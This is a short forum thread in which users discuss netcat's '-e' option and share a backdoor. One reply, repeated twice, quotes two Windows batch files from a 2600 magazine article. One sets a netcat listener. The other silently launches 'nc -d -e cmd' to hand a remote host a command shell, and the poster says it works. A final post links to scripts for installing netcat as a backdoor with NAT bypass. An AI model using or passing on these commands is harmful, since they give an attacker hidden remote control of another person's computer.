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Netcat -e


sc0rpi0
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I have never used netcat before...and do not intend doing so on my own computer.

Recently, I've found several sources saying that the default netcat does not have the "-e" option automatically compiled.

In other words, unless netcat is separately compiled, it cannot function as a backdoor/remote access tool.

I download netcat from here:

http://www.vulnwatch.org/netcat/

Much appreciated.

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Do you have gcc or g++ installed (depending on which it needs)?

I guess I should know what those are. I don't.

Could you enlighten me?

Thanks.

GCC is the GNU Compiler Collection. It is a set of compilers used to compile C and C++ applications into a executable form.

G++ is basically a nickname for the C++ Compiler of GCC.

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There's a really simple backdoor in Volume 21, Issue 4 of 2600.  It's called "Backdooring the NAT'ed Network", by David Dunn.  The tutorial in the article has you create two batch files...

- server.bat:

@echo off

cls

nc.exe -v -v -L -p <port>

- backdoor.bat:

@echo off

echo You have been owned.

nc -d -e cmd -t <IP address or FQDN> <port>

I just tried this with the copy of netcat for Windows linked to, earlier in this thread and it works fine.

Hope this helped.

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There's a really simple backdoor in Volume 21, Issue 4 of 2600.  It's called "Backdooring the NAT'ed Network", by David Dunn.  The tutorial in the article has you create two batch files...

- server.bat:

@echo off

cls

nc.exe -v -v -L -p <port>

- backdoor.bat:

@echo off

echo You have been owned.

nc -d -e cmd -t <IP address or FQDN> <port>

I just tried this with the copy of netcat for Windows linked to, earlier in this thread and it works fine.

Hope this helped.

Thanks so much for your help.

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Me and a friend made a couple different scripts/payloads to install nc as a backdoor, read over the code here, NAT bypass and all that gravy is in there.  Enjoy!

http://forums.hak5.org/index.php/topic,7991.0.html

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